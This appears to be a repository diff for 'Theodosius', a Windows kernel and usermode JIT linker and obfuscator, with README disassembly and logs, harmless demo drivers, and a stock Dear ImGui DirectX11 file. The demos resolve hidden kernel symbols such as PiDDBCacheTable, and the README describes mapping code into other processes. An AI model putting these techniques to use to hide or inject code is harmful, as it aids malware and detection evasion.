0X0D6: 48 B8 38 02 00 00 00 00 00 00 mov rax, offset DbgPrint
|
||||
0X0E0: FF D0 call rax ; DbgPrint
|
||||
0X0E2: 48 B9 A8 01 00 00 00 00 00 00 mov rcx, offset ??_C@_0DE@FLODGMCP...; "> win32kfull!NtUserRegisterShellPTPList"...
|
||||
0X0EC: 48 BA 48 02 00 00 00 00 00 00 mov rdx, offset NtUserRegisterShellPTPListener
|
||||
0X0F6: 48 B8 38 02 00 00 00 00 00 00 mov rax, offset DbgPrint
|
||||
0X100: FF D0 call rax ; DbgPrint
|
||||
0X102: 48 B9 E0 01 00 00 00 00 00 00 mov rcx, offset ??_C@_0BD@JGN... ; "> DrvEntry = 0x%p\n"
|
||||
0X10C: 48 BA A8 00 00 00 00 00 00 00 mov rdx, offset DrvEntry
|
||||
0X116: 48 B8 38 02 00 00 00 00 00 00 mov rax, offset DbgPrint
|
||||
0X120: FF D0 call rax ; DbgPrint
|
||||
0X122: 48 B8 00 00 00 00 00 00 00 00 mov rax, offset ?PrintCR3@@YAXXZ ; PrintCR3(void)
|
||||
0X12C: FF D0 call rax ; PrintCR3(void) ; PrintCR3(void)
|
||||
0X12E: 48 B8 58 00 00 00 00 00 00 00 mov rax, offset ?LoopDemo@@YAXXZ ; LoopDemo(void)
|
||||
0X138: FF D0 call rax ; LoopDemo(void) ; LoopDemo(void)
|
||||
0X13A: 90 nop
|
||||
0X13B: 48 83 C4 28 add rsp, 28h
|
||||
0X13F: C3 retn
|
||||
0X13F: DrvEntry endp
|
||||
```
|
||||
|
||||
Theo calculates the size of each symbol by subtracting the address of the next symbol (in the same section), from the address of the symbol itself. If the symbol is the last one in a section, the distance between the start of the symbol and the end of the section is used. Now lets take a look at what happens when we link/map this routine. Theo starts by allocating space for all non-obfuscated symbols.
|
||||
|
||||
```
|
||||
[+] allocating space for symbols...
|
||||
> ??_C@_0BG@GFEIGDHO@?$DO?5Current?5CR3?5?$DN?50x?$CFp?6?$AA@ allocated at = 0xFFFF998BC5361FB0, size = 22
|
||||
> ??_C@_0BB@HGKDPLMC@?$DO?5Loop?5Demo?3?5?$CFd?6?$AA@ allocated at = 0xFFFF998BC5364FA0, size = 17
|
||||
> ??_C@_0BA@LBLNBFIC@?$DO?5Hello?5World?$CB?6?$AA@ allocated at = 0xFFFF998BC5365FA0, size = 16
|
||||
> ??_C@_0BK@PLIIADON@?$DO?5PiDDBCacheTable?5?$DN?50x?$CFp?6?$AA@ allocated at = 0xFFFF998BC5366EA0, size = 26
|
||||
> ??_C@_0DE@FLODGMCP@?$DO?5win32kfull?$CBNtUserRegisterShell@ allocated at = 0xFFFF998BC5366EE0, size = 52
|
||||
> ??_C@_0BD@JGNLDBEI@?$DO?5DrvEntry?5?$DN?50x?$CFp?6?$AA@ allocated at = 0xFFFF998BC5366F40, size = 19
|
||||
> ?PrintCR3@@YAXXZ allocated at = 0xFFFF998BC5366F80, size = 58
|
||||
```
|
||||
|
||||
As you can see, each string gets its own pool, each global variable does too, and every non-obfuscated routine is mapped into its own pool. The memory however, has not been copied yet since there are relocations that need to happen before they are copied into memory (in PrintCr3).
|
||||
|
||||
The next thing Theo does is allocate space for obfuscated routines. In the `DemoDrv`, there is a demo for each type of obfuscation (just mutation and control flow obfuscation for now).
|
||||
|
||||
```
|
||||
[+] allocating space for obfuscated symbols...
|
||||
> ?LoopDemo@@YAXXZ allocated = 0xFFFF998BC5369DA0, size = 18
|
||||
> ?LoopDemo@@YAXXZ@4 allocated = 0xFFFF998BC5369DE0, size = 22
|
||||
> ?LoopDemo@@YAXXZ@12 allocated = 0xFFFF998BC5369E20, size = 19
|
||||
> fixing JCC rva...
|
||||
> new rva = 0xe
|
||||
> old rva = 0x2a
|
||||
> ?LoopDemo@@YAXXZ@17 allocated = 0xFFFF998BC5369E60, size = 34
|
||||
> ?LoopDemo@@YAXXZ@23 allocated = 0xFFFF998BC5369EB0, size = 18
|
||||
> ?LoopDemo@@YAXXZ@27 allocated = 0xFFFF998BC5369EF0, size = 24
|
||||
> ?LoopDemo@@YAXXZ@37 allocated = 0xFFFF998BC5369F30, size = 24
|
||||
> ?LoopDemo@@YAXXZ@47 allocated = 0xFFFF998BC5369F70, size = 16
|
||||
> ?LoopDemo@@YAXXZ@49 allocated = 0xFFFF998BC5369FA0, size = 18
|
||||
> ?LoopDemo@@YAXXZ@53 allocated = 0xFFFF998BC5368BA0, size = 17
|
||||
> ?LoopDemo@@YAXXZ@56 allocated = 0xFFFF998BC5368BE0, size = 18
|
||||
> ?LoopDemo@@YAXXZ@60 allocated = 0xFFFF998BC5368C20, size = 14
|
||||
> ?LoopDemo@@YAXXZ@65 allocated = 0xFFFF998BC5368C50, size = 18
|
||||
> ?LoopDemo@@YAXXZ@69 allocated = 0xFFFF998BC5368C90, size = 15
|
||||
```
|
||||
|
||||
As you can see, Theo uses Zydis to go over all routines marked for obfuscation and generates new symbols for each instruction inside of the routine. The symbol goes by `[RoutineName]@[Instruction Offset]`. Note that JCC's are indeed rip relative, these need to be fixed.
|
||||
|
||||
```
|
||||
> fixing JCC rva...
|
||||
> new rva = 0xe
|
||||
> old rva = 0x2a
|
||||
> ?LoopDemo@@YAXXZ@17 allocated = 0xFFFF998BC5369E60, size = 34
|
||||
```
|
||||
|
||||
Note that in DemoDrv there is a function called "LoopDemo" which is obfuscated. Instead of the JCC instruction branching to the conditional code, it instead branches to an inline jmp. If it doesnt branch, then it simply jumps to the next instruction like normal.
|
||||
|
||||
```
|
||||
ffff998b`c5369e60 0f830e000000 jae ffff998b`c5369e74
|
||||
ffff998b`c5369e66 ff2500000000 jmp qword ptr [ffff998b`c5369e6c]
|
||||
ffff998b`c5369e74 ff2500000000 jmp qword ptr [ffff998b`c5369e7a]
|
||||
```
|
||||
|
||||
As you can see above, this is what Theo generates for JCC's. Also note that this clang compiler does not generate RIP relative LEA's or CALL's. The only RIP relative stuff Theo deals with are JCC's.
|
||||
|
||||
#### Memory View Of Obfuscation
|
||||
|
||||
The instructions for `LoopDemo` now look like this in memory:
|
||||
|
||||
```
|
||||
ffff998b`c5369da0 4883ec28 sub rsp,28h
|
||||
ffff998b`c5369da4 ff2500000000 jmp qword ptr [ffff998b`c5369daa]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5369de0 c74424...... mov dword ptr [rsp+24h],0
|
||||
ffff998b`c5369de8 ff2500000000 jmp qword ptr [ffff998b`c5369dee]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5369e20 837c24240a cmp dword ptr [rsp+24h],0Ah
|
||||
ffff998b`c5369e25 ff2500000000 jmp qword ptr [ffff998b`c5369e2b]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5369e60 0f830e000000 jae ffff998b`c5369e74
|
||||
ffff998b`c5369e66 ff2500000000 jmp qword ptr [ffff998b`c5369e6c]
|
||||
ffff998b`c5369e74 ff2500000000 jmp qword ptr [ffff998b`c5369e7a]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5369eb0 8b542424 mov edx,dword ptr [rsp+24h]
|
||||
ffff998b`c5369eb4 ff2500000000 jmp qword ptr [ffff998b`c5369eba]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5369ef0 48b9........ mov rcx,0FFFF998BC5364FA0h ; "> Loop Demo: %d\n"
|
||||
ffff998b`c5369efa ff2500000000 jmp qword ptr [ffff998b`c5369f00]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5369f30 48b8........ mov rax,offset nt!DbgPrint (fffff803`6a750f60)
|
||||
ffff998b`c5369f3a ff2500000000 jmp qword ptr [ffff998b`c5369f40]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5369f70 ffd0 call rax
|
||||
ffff998b`c5369f72 ff2500000000 jmp qword ptr [ffff998b`c5369f78]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5369fa0 8b442424 mov eax,dword ptr [rsp+24h]
|
||||
ffff998b`c5369fa4 ff2500000000 jmp qword ptr [ffff998b`c5369faa]
|
||||
|
||||
...
|
||||
|
||||
|
||||
ffff998b`c5368ba0 83c001 add eax,1
|
||||
ffff998b`c5368ba3 ff2500000000 jmp qword ptr [ffff998b`c5368ba9]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5368be0 89442424 mov dword ptr [rsp+24h],eax
|
||||
ffff998b`c5368be4 ff2500000000 jmp qword ptr [ffff998b`c5368bea]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5368c20 ff2500000000 jmp qword ptr [ffff998b`c5368c26]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5368c50 4883c428 add rsp,28h
|
||||
ffff998b`c5368c54 ff2500000000 jmp qword ptr [ffff998b`c5368c5a]
|
||||
|
||||
...
|
||||
|
||||
ffff998b`c5368c90 c3 ret
|
||||
```
|
||||
|
||||
### Usermode Example
|
||||
|
||||
<img src="https://githacks.org/_xeroxz/theodosius/-/raw/a5de4b8a1a6cf32bb0213d8d9602f5dc955275b1/imgs/um-example-2.png"/>
|
||||
|
||||
This example uses WinAPI's to allocate virtual memory in another process and also to copy virtual memory. Only exported routines from loaded DLL's in the target process can be resolved.
|
||||
|
||||
# License - BSD 3-Clause
|
||||
|
||||
Copyright (c) 2021, _xeroxz
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
* Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
* Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
* Neither the name of the copyright holder nor the names of its
|
||||
contributors may be used to endorse or promote products derived from
|
||||
this software without specific prior written permission.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
# Theodosius v2.0
|
@ -1,13 +0,0 @@
|
||||
#include "Theodosius.h"
|
||||
#include <Windows.h>
|
||||
|
||||
void UsermodeNoObfuscation()
|
||||
{
|
||||
MessageBoxA(0, "Demo", "Hello From Non-Obfuscated Routine!", 0);
|
||||
}
|
||||
|
||||
THEO_MUTATE(LLVM_BCF LLVM_SUB void UsermodeMutateDemo()
|
||||
{
|
||||
for (auto idx = 0u; idx < 5; ++idx)
|
||||
MessageBoxA(0, "Demo", "Hello From Mutated Routine!", 0);
|
||||
})
|
@ -1,46 +0,0 @@
|
||||
#include "ClassDemo.hpp"
|
||||
|
||||
VirtualFuncDemo::VirtualFuncDemo()
|
||||
{
|
||||
MessageBoxA(0, "VirtualFuncDemo (Base Class)", "Virtual Func Demo!", 0);
|
||||
}
|
||||
|
||||
VirtualFuncDemo::~VirtualFuncDemo()
|
||||
{
|
||||
MessageBoxA(0, "VirtualFuncDemo (Base Class)", "Virtual Destructor Demo!", 0);
|
||||
}
|
||||
|
||||
void VirtualFuncDemo::PrintTest()
|
||||
{
|
||||
MessageBoxA(0, "VirtualFuncDemo (Base Class)", "Virtual Func Demo!", 0);
|
||||
}
|
||||
|
||||
Demo::Demo()
|
||||
{
|
||||
MessageBoxA(0, "Demo", "Virtual Func Demo!", 0);
|
||||
}
|
||||
|
||||
Demo::~Demo()
|
||||
{
|
||||
MessageBoxA(0, "Demo", "Virtual Destructor Demo!", 0);
|
||||
}
|
||||
|
||||
void Demo::PrintTest()
|
||||
{
|
||||
MessageBoxA(0, "PrintTest", "Hello World!", 0);
|
||||
}
|
||||
|
||||
Demo2::Demo2()
|
||||
{
|
||||
MessageBoxA(0, "Demo2", "Virtual Func Demo!", 0);
|
||||
}
|
||||
|
||||
Demo2::~Demo2()
|
||||
{
|
||||
MessageBoxA(0, "Demo2", "Virtual Destructor Demo!", 0);
|
||||
}
|
||||
|
||||
void Demo2::PrintTest()
|
||||
{
|
||||
MessageBoxA(0, "PrintTest2", "Hello World!", 0);
|
||||
}
|
@ -1,31 +0,0 @@
|
||||
#pragma once
|
||||
#include "Theodosius.h"
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
void UsermodeMutateDemo();
|
||||
void UsermodeNoObfuscation();
|
||||
|
||||
class VirtualFuncDemo
|
||||
{
|
||||
public:
|
||||
explicit VirtualFuncDemo();
|
||||
virtual ~VirtualFuncDemo();
|
||||
virtual void PrintTest();
|
||||
};
|
||||
|
||||
class Demo : public VirtualFuncDemo
|
||||
{
|
||||
public:
|
||||
explicit Demo();
|
||||
~Demo() override;
|
||||
void PrintTest() override;
|
||||
};
|
||||
|
||||
class Demo2 : public VirtualFuncDemo
|
||||
{
|
||||
public:
|
||||
explicit Demo2();
|
||||
~Demo2() override;
|
||||
void PrintTest() override;
|
||||
};
|
@ -1,31 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{92e25b44-aaeb-40a2-b8c9-7eab6c210e8d}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Theodosius.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ClassDemo.hpp">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="main.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="AnotherObj.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ClassDemo.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
@ -1,19 +0,0 @@
|
||||
#pragma once
|
||||
#define WINUSERAPI
|
||||
#define _KERNEL32_
|
||||
#define _ACRTIMP
|
||||
#define NTKERNELAPI
|
||||
|
||||
#define THEO_OBFUSCATE(...) \
|
||||
_Pragma("code_seg(\".theo\")") \
|
||||
__VA_ARGS__ \
|
||||
_Pragma("code_seg()")
|
||||
|
||||
#define THEO_MUTATE(...) \
|
||||
_Pragma("code_seg(\".theo1\")") \
|
||||
__VA_ARGS__ \
|
||||
_Pragma("code_seg()")
|
||||
|
||||
#define LLVM_BCF __attribute((__annotate__(("bcf"))))
|
||||
#define LLVM_SUB __attribute((__annotate__(("sub"))))
|
||||
#define LLVM_FLA __attribute((__annotate__(("fla"))))
|
@ -1,22 +0,0 @@
|
||||
#include "ClassDemo.hpp"
|
||||
|
||||
// ignore this warning... its VS...
|
||||
THEO_OBFUSCATE(extern "C" int main()
|
||||
{
|
||||
AllocConsole();
|
||||
freopen("conin$", "r", stdin);
|
||||
freopen("conout$", "w", stdout);
|
||||
freopen("conout$", "w", stderr);
|
||||
printf("hello world\n");
|
||||
getchar();
|
||||
|
||||
MessageBoxA(0, "Demo", "Hello From main!", 0);
|
||||
UsermodeMutateDemo();
|
||||
UsermodeNoObfuscation();
|
||||
|
||||
VirtualFuncDemo DemoInstance = Demo();
|
||||
DemoInstance.PrintTest();
|
||||
|
||||
VirtualFuncDemo Demo2Instance = Demo2();
|
||||
Demo2Instance.PrintTest();
|
||||
})
|
@ -1,22 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{92e25b44-aaeb-40a2-b8c9-7eab6c210e8d}</UniqueIdentifier>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="DriverEntry.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Theodosius.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
@ -1,4 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
@ -1,36 +0,0 @@
|
||||
#include "Theodosius.h"
|
||||
inline int a = 10; // c++17 tests (c++1z...)
|
||||
|
||||
// this routine is not obfuscated...
|
||||
THEO_OBFUSCATE(void PrintCR3()
|
||||
{
|
||||
ULONG_PTR Cr3Value =
|
||||
*reinterpret_cast<ULONG_PTR*>(
|
||||
IoGetCurrentProcess() + CR3_OFFSET);
|
||||
|
||||
DbgPrint("> Current CR3 = 0x%p\n", Cr3Value);
|
||||
|
||||
// non-exported symbols being resolved by jit linker...
|
||||
DbgPrint("> PiDDBCacheTable = 0x%p\n", &PiDDBCacheTable);
|
||||
DbgPrint("> win32kfull!NtUserRegisterShellPTPListener = 0x%p\n", &NtUserRegisterShellPTPListener);
|
||||
|
||||
// example of referencing itself...
|
||||
DbgPrint("> PrintCR3 = 0x%p\n", &PrintCR3);
|
||||
})
|
||||
|
||||
THEO_OBFUSCATE(LLVM_BCF void LoopDemo(unsigned* result)
|
||||
{
|
||||
// JCC's work! :)
|
||||
for (auto idx = 0u; idx < 10; ++idx)
|
||||
// addresses to variables on the stack work! :)
|
||||
*result = idx;
|
||||
})
|
||||
|
||||
THEO_MUTATE(LLVM_BCF LLVM_SUB extern "C" void DrvEntry()
|
||||
{
|
||||
// example of calling other obfuscated/non obfuscated routines...
|
||||
PrintCR3();
|
||||
|
||||
unsigned result = 0u;
|
||||
LoopDemo(&result);
|
||||
})
|
@ -1,43 +0,0 @@
|
||||
#pragma once
|
||||
#define WINUSERAPI
|
||||
#define _KERNEL32_
|
||||
#define _ACRTIMP
|
||||
#define NTKERNELAPI
|
||||
|
||||
#define THEO_OBFUSCATE(...) \
|
||||
_Pragma("code_seg(\".theo\")") \
|
||||
__VA_ARGS__ \
|
||||
_Pragma("code_seg()")
|
||||
|
||||
#define THEO_MUTATE(...) \
|
||||
_Pragma("code_seg(\".theo1\")") \
|
||||
__VA_ARGS__ \
|
||||
_Pragma("code_seg()")
|
||||
|
||||
#define LLVM_BCF __attribute((__annotate__(("bcf"))))
|
||||
#define LLVM_SUB __attribute((__annotate__(("sub"))))
|
||||
#define LLVM_FLA __attribute((__annotate__(("fla"))))
|
||||
|
||||
#define CR3_OFFSET 0x28
|
||||
#define NT_SUCCESS(x) ((x) >= 0)
|
||||
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
|
||||
|
||||
using NTSTATUS = unsigned long;
|
||||
using PVOID = void*;
|
||||
|
||||
using HANDLE = unsigned long;
|
||||
using UCHAR = unsigned char;
|
||||
using USHORT = unsigned short;
|
||||
using ULONG = unsigned long;
|
||||
using PULONG = unsigned long*;
|
||||
typedef unsigned long long ULONG_PTR;
|
||||
|
||||
// this is a demo of resolving non-exported symbols...
|
||||
// win32kfull.sys export example...
|
||||
extern "C" void NtUserRegisterShellPTPListener();
|
||||
extern "C" void* PiDDBCacheTable;
|
||||
|
||||
extern "C" unsigned char* IoGetCurrentProcess();
|
||||
extern "C" unsigned long DbgPrint(const char* format, ...);
|
||||
extern "C" PVOID ExAllocatePool(ULONG, ULONG);
|
||||
extern "C" void ExFreePool(PVOID);
|
@ -1,560 +0,0 @@
|
||||
// dear imgui: Renderer Backend for DirectX11
|
||||
// This needs to be used along with a Platform Backend (e.g. Win32)
|
||||
|
||||
// Implemented features:
|
||||
// [X] Renderer: User texture binding. Use 'ID3D11ShaderResourceView*' as ImTextureID. Read the FAQ about ImTextureID!
|
||||
// [X] Renderer: Support for large meshes (64k+ vertices) with 16-bit indices.
|
||||
|
||||
// You can copy and use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this.
|
||||
// If you are new to Dear ImGui, read documentation from the docs/ folder + read the top of imgui.cpp.
|
||||
// Read online: https://github.com/ocornut/imgui/tree/master/docs
|
||||
|
||||
// CHANGELOG
|
||||
// (minor and older changes stripped away, please see git history for details)
|
||||
// 2021-02-18: DirectX11: Change blending equation to preserve alpha in output buffer.
|
||||
// 2019-08-01: DirectX11: Fixed code querying the Geometry Shader state (would generally error with Debug layer enabled).
|
||||
// 2019-07-21: DirectX11: Backup, clear and restore Geometry Shader is any is bound when calling ImGui_ImplDX10_RenderDrawData. Clearing Hull/Domain/Compute shaders without backup/restore.
|
||||
// 2019-05-29: DirectX11: Added support for large mesh (64K+ vertices), enable ImGuiBackendFlags_RendererHasVtxOffset flag.
|
||||
// 2019-04-30: DirectX11: Added support for special ImDrawCallback_ResetRenderState callback to reset render state.
|
||||
// 2018-12-03: Misc: Added #pragma comment statement to automatically link with d3dcompiler.lib when using D3DCompile().
|
||||
// 2018-11-30: Misc: Setting up io.BackendRendererName so it can be displayed in the About Window.
|
||||
// 2018-08-01: DirectX11: Querying for IDXGIFactory instead of IDXGIFactory1 to increase compatibility.
|
||||
// 2018-07-13: DirectX11: Fixed unreleased resources in Init and Shutdown functions.
|
||||
// 2018-06-08: Misc: Extracted imgui_impl_dx11.cpp/.h away from the old combined DX11+Win32 example.
|
||||
// 2018-06-08: DirectX11: Use draw_data->DisplayPos and draw_data->DisplaySize to setup projection matrix and clipping rectangle.
|
||||
// 2018-02-16: Misc: Obsoleted the io.RenderDrawListsFn callback and exposed ImGui_ImplDX11_RenderDrawData() in the .h file so you can call it yourself.
|
||||
// 2018-02-06: Misc: Removed call to ImGui::Shutdown() which is not available from 1.60 WIP, user needs to call CreateContext/DestroyContext themselves.
|
||||
// 2016-05-07: DirectX11: Disabling depth-write.
|
||||
|
||||
#include "imgui.h"
|
||||
#include "imgui_impl_dx11.h"
|
||||
|
||||
// DirectX
|
||||
#include <stdio.h>
|
||||
#include <d3d11.h>
|
||||
#include <d3dcompiler.h>
|
||||
#ifdef _MSC_VER
|
||||
#pragma comment(lib, "d3dcompiler") // Automatically link with d3dcompiler.lib as we are using D3DCompile() below.
|
||||
#endif
|
||||
|
||||
// DirectX data
|
||||
static ID3D11Device* g_pd3dDevice = NULL;
|
||||
static ID3D11DeviceContext* g_pd3dDeviceContext = NULL;
|
||||
static IDXGIFactory* g_pFactory = NULL;
|
||||
static ID3D11Buffer* g_pVB = NULL;
|
||||
static ID3D11Buffer* g_pIB = NULL;
|
||||
static ID3D11VertexShader* g_pVertexShader = NULL;
|
||||
static ID3D11InputLayout* g_pInputLayout = NULL;
|
||||
static ID3D11Buffer* g_pVertexConstantBuffer = NULL;
|
||||
static ID3D11PixelShader* g_pPixelShader = NULL;
|
||||
static ID3D11SamplerState* g_pFontSampler = NULL;
|
||||
static ID3D11ShaderResourceView*g_pFontTextureView = NULL;
|
||||
static ID3D11RasterizerState* g_pRasterizerState = NULL;
|
||||
static ID3D11BlendState* g_pBlendState = NULL;
|
||||
static ID3D11DepthStencilState* g_pDepthStencilState = NULL;
|
||||
static int g_VertexBufferSize = 5000, g_IndexBufferSize = 10000;
|
||||
|
||||
struct VERTEX_CONSTANT_BUFFER
|
||||
{
|
||||
float mvp[4][4];
|
||||
};
|
||||
|
||||
static void ImGui_ImplDX11_SetupRenderState(ImDrawData* draw_data, ID3D11DeviceContext* ctx)
|
||||
{
|
||||
// Setup viewport
|
||||
D3D11_VIEWPORT vp;
|
||||
memset(&vp, 0, sizeof(D3D11_VIEWPORT));
|
||||
vp.Width = draw_data->DisplaySize.x;
|
||||
vp.Height = draw_data->DisplaySize.y;
|
||||
vp.MinDepth = 0.0f;
|
||||
vp.MaxDepth = 1.0f;
|
||||
vp.TopLeftX = vp.TopLeftY = 0;
|
||||
ctx->RSSetViewports(1, &vp);
|
||||
|
||||
// Setup shader and vertex buffers
|
||||
unsigned int stride = sizeof(ImDrawVert);
|
||||
unsigned int offset = 0;
|
||||
ctx->IASetInputLayout(g_pInputLayout);
|
||||
ctx->IASetVertexBuffers(0, 1, &g_pVB, &stride, &offset);
|
||||
ctx->IASetIndexBuffer(g_pIB, sizeof(ImDrawIdx) == 2 ? DXGI_FORMAT_R16_UINT : DXGI_FORMAT_R32_UINT, 0);
|
||||
ctx->IASetPrimitiveTopology(D3D11_PRIMITIVE_TOPOLOGY_TRIANGLELIST);
|
||||
ctx->VSSetShader(g_pVertexShader, NULL, 0);
|
||||
ctx->VSSetConstantBuffers(0, 1, &g_pVertexConstantBuffer);
|
||||
ctx->PSSetShader(g_pPixelShader, NULL, 0);
|
||||
ctx->PSSetSamplers(0, 1, &g_pFontSampler);
|
||||
ctx->GSSetShader(NULL, NULL, 0);
|
||||
ctx->HSSetShader(NULL, NULL, 0); // In theory we should backup and restore this as well.. very infrequently used..
|
||||
ctx->DSSetShader(NULL, NULL, 0); // In theory we should backup and restore this as well.. very infrequently used..
|
||||
ctx->CSSetShader(NULL, NULL, 0); // In theory we should backup and restore this as well.. very infrequently used..
|
||||
|
||||
// Setup blend state
|
||||
const float blend_factor[4] = { 0.f, 0.f, 0.f, 0.f };
|
||||
ctx->OMSetBlendState(g_pBlendState, blend_factor, 0xffffffff);
|
||||
ctx->OMSetDepthStencilState(g_pDepthStencilState, 0);
|
||||
ctx->RSSetState(g_pRasterizerState);
|
||||
}
|
||||
|
||||
// Render function
|
||||
void ImGui_ImplDX11_RenderDrawData(ImDrawData* draw_data)
|
||||
{
|
||||
// Avoid rendering when minimized
|
||||
if (draw_data->DisplaySize.x <= 0.0f || draw_data->DisplaySize.y <= 0.0f)
|
||||
return;
|
||||
|
||||
ID3D11DeviceContext* ctx = g_pd3dDeviceContext;
|
||||
|
||||
// Create and grow vertex/index buffers if needed
|
||||
if (!g_pVB || g_VertexBufferSize < draw_data->TotalVtxCount)
|
||||
{
|
||||
if (g_pVB) { g_pVB->Release(); g_pVB = NULL; }
|
||||
g_VertexBufferSize = draw_data->TotalVtxCount + 5000;
|
||||
D3D11_BUFFER_DESC desc;
|
||||
memset(&desc, 0, sizeof(D3D11_BUFFER_DESC));
|
||||
desc.Usage = D3D11_USAGE_DYNAMIC;
|
||||
desc.ByteWidth = g_VertexBufferSize * sizeof(ImDrawVert);
|
||||
desc.BindFlags = D3D11_BIND_VERTEX_BUFFER;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE;
|
||||
desc.MiscFlags = 0;
|
||||
if (g_pd3dDevice->CreateBuffer(&desc, NULL, &g_pVB) < 0)
|
||||
return;
|
||||
}
|
||||
if (!g_pIB || g_IndexBufferSize < draw_data->TotalIdxCount)
|
||||
{
|
||||
if (g_pIB) { g_pIB->Release(); g_pIB = NULL; }
|
||||
g_IndexBufferSize = draw_data->TotalIdxCount + 10000;
|
||||
D3D11_BUFFER_DESC desc;
|
||||
memset(&desc, 0, sizeof(D3D11_BUFFER_DESC));
|
||||
desc.Usage = D3D11_USAGE_DYNAMIC;
|
||||
desc.ByteWidth = g_IndexBufferSize * sizeof(ImDrawIdx);
|
||||
desc.BindFlags = D3D11_BIND_INDEX_BUFFER;
|
||||
desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE;
|
||||
if (g_pd3dDevice->CreateBuffer(&desc, NULL, &g_pIB) < 0)
|
||||
return;
|
||||
}
|
||||
|
||||
// Upload vertex/index data into a single contiguous GPU buffer
|
||||
D3D11_MAPPED_SUBRESOURCE vtx_resource, idx_resource;
|
||||
if (ctx->Map(g_pVB, 0, D3D11_MAP_WRITE_DISCARD, 0, &vtx_resource) != S_OK)
|
||||
return;
|
||||
if (ctx->Map(g_pIB, 0, D3D11_MAP_WRITE_DISCARD, 0, &idx_resource) != S_OK)
|
||||
return;
|
||||
ImDrawVert* vtx_dst = (ImDrawVert*)vtx_resource.pData;
|
||||
ImDrawIdx* idx_dst = (ImDrawIdx*)idx_resource.pData;
|
||||
for (int n = 0; n < draw_data->CmdListsCount; n++)
|
